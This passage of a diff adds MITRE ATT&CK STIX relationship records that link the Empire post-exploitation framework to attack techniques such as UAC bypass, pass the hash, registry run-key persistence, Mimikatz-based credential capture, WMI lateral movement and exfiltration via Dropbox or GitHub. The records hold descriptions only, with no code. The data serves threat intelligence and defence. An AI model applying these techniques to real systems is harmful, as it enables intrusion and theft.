built-in modules to abuse trusted utilities like MSBuild.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.615Z", + "id": "relationship--6097b21c-7ca4-4152-80df-517f3fc3058d", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "[Empire](https://attack.mitre.org/software/S0363) can utilize Invoke-DCOM to leverage remote COM execution for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.655Z", + "id": "relationship--04878c23-0ba8-4893-acd7-f0594241b66f", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[Empire](https://attack.mitre.org/software/S0363) has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.661Z", + "id": "relationship--73fbf268-20d3-4549-9dd2-6e20e18079e0", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.896Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use Invoke-RunAs to make tokens as well as [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-TokenManipulation to manipulate access tokens.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.709Z", + "id": "relationship--e5539e56-e35f-4097-9862-ba26cac35346", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.867Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[Empire](https://attack.mitre.org/software/S0363) can perform pass the hash attacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.756Z", + "id": "relationship--872c6f1b-aa4f-4d43-b35d-c4216d2f4559", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.827Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules for executing commands over SSH as well as in-memory VNC agent injection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:56:44.970Z", + "id": "relationship--5daee125-eb83-4529-889e-18de7115f688", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.906Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Empire](https://attack.mitre.org/software/S0363) has modules to interact with the Windows task scheduler.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:56:45.018Z", + "id": "relationship--c761f444-3c01-44b4-b8e7-8a26746ce115", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.817Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use WMI to deliver a payload to a remote host. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:56:45.040Z", + "id": "relationship--8561e826-0aa8-4711-ab0b-fffb0b03ff13", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.878Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage WMI debugging to remotely replace binaries like sethc.exe, Utilman.exe, and Magnify.exe with cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:56:45.046Z", + "id": "relationship--47899da0-29da-4518-b94a-0f08bc01e5c9", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.903Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Empire](https://attack.mitre.org/software/S0363) can perform port scans from an infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.047Z", + "id": "relationship--2589342a-8f88-4458-bc34-cec6b073763e", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.873Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit various DLL hijacking opportunities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.066Z", + "id": "relationship--f2b3374e-d2b4-489a-9c8a-92630ce9b428", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.888Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit various path interception opportunities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.085Z", + "id": "relationship--897ee545-7dab-409a-bcb7-ab1d0caef1f5", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.863Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[Empire](https://attack.mitre.org/software/S0363) can utilize built-in modules to modify service binaries and restore them to their original state.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.088Z", + "id": "relationship--eabdbef7-440f-42ca-99b1-a4d08a1c955e", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.833Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[Empire](https://attack.mitre.org/software/S0363) can exploit vulnerabilities such as MS16-032 and MS16-135.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.092Z", + "id": "relationship--4507ba2b-e23c-4acf-a6a3-5ed9dae8d590", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.885Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate Security Support Providers (SSPs) as well as utilize [PowerSploit](https://attack.mitre.org/software/S0194)'s Install-SSP and Invoke-Mimikatz to install malicious SSPs and log authentication events.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.117Z", + "id": "relationship--5b162339-4155-4757-8ec1-11834a613c8a", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.909Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Empire](https://attack.mitre.org/software/S0363) includes various modules to attempt to bypass UAC for escalation of privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.120Z", + "id": "relationship--fb16dea3-7f32-4778-b6af-3126c4547d17", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.840Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "description": "[Empire](https://attack.mitre.org/software/S0363) can add a SID-History to a user if on a domain controller.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.125Z", + "id": "relationship--62785ee1-44c5-4938-a479-3f1546531032", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.900Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Empire](https://attack.mitre.org/software/S0363) can persist by modifying a .LNK file to include a backdoor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.123Z", + "id": "relationship--f26c53f1-b346-4301-9951-22ffd96ee762", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.813Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Empire](https://attack.mitre.org/software/S0363) has a module for creating a new domain user or local user if permissions allow.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.152Z", + "id": "relationship--187c8a97-3ba1-476e-8377-592adb8e70a3", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.837Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Empire](https://attack.mitre.org/software/S0363) can ZIP directories on the target system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.170Z", + "id": "relationship--32fc949c-2127-425b-9480-6d07ead49982", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.891Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to collect emails on a target system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.172Z", + "id": "relationship--9c98640e-0307-48bb-aafc-af14a774fd5b", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.824Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[Empire](https://attack.mitre.org/software/S0363) can timestomp any files or payloads placed on a target machine to help them blend in.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.175Z", + "id": "relationship--f082a4e1-b454-4528-9470-a2799215b235", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.882Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Empire](https://attack.mitre.org/software/S0363) can modify the registry run keys HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.178Z", + "id": "relationship--6cc7fc62-740a-47c4-988c-bdd9c5880c3f", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T19:24:08.180Z", + "id": "relationship--58b7b9bf-d09b-49f4-acf5-351979171317", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.820Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Empire](https://attack.mitre.org/software/S0363) can conduct command and control over protocols like HTTP and HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.229Z", + "id": "relationship--9983965f-91b7-492b-9764-ad801af4476a", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Empire](https://attack.mitre.org/software/S0363) can conduct command and control over commonly used ports like 80 and 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.248Z", + "id": "relationship--3acdd039-5ea8-44e5-ba70-e00eece83432", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.870Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox and GitHub for data exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.251Z", + "id": "relationship--98ec1cf2-91ed-4a5f-b653-1d60259d0b46", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Empire](https://attack.mitre.org/software/S0363) can send data gathered from a target through the command and control channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.272Z", + "id": "relationship--39d1a7ed-2388-4611-9886-915a3604c300", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Empire](https://attack.mitre.org/software/S0363) can find shared drives on the local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.295Z", + "id": "relationship--6fa815b2-23dc-455f-b358-dacb4e30a073", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.406Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Empire](https://attack.mitre.org/software/S0363) can find information about processes running on local and remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.298Z", + "id": "relationship--ee565652-51c8-4fe8-bb05-682c6942485a", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.385Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate the current network connections of a host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.327Z", + "id": "relationship--c45974f5-90b7-4b5b-8123-9961df8ea26d", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.398Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire network configuration information like DNS servers and network proxies used by a host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.330Z", + "id": "relationship--07db5f41-fc53-47e6-ae7b-755a4acc9e62", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.402Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate host system information like OS, architecture, applied patches, and more.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.336Z", + "id": "relationship--3c766e53-1372-4b94-b7de-b3f70d4d1a91", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": 